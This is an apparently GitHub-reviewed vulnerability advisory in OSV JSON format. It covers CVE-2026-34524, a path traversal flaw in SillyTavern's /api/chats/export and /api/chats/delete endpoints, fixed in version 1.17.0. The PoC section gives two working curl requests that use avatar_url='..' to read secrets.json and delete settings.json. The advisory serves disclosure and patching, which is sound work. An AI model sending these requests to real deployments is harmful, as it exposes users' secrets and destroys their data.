CVE-2026-34524: SillyTavern Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vprr-q85p-79mf",
  "modified" : "2026-04-06T17:24:25Z",
  "published" : "2026-04-01T21:41:48Z",
  "aliases" : [ "CVE-2026-34524" ],
  "summary" : "SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root",
  "details" : "## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27>\n- Vulnerable delete path construction:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577>\n- Vulnerable export path construction:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598>\n- Endpoint auth context (authenticated user access):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(<user>/chats, \"..\")` resolves to `<user>/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}' \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}' \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sillytavern"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.16.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34524"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SillyTavern/SillyTavern"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:41:48Z",
    "nvd_published_at" : "2026-04-02T18:16:29Z"
  }
}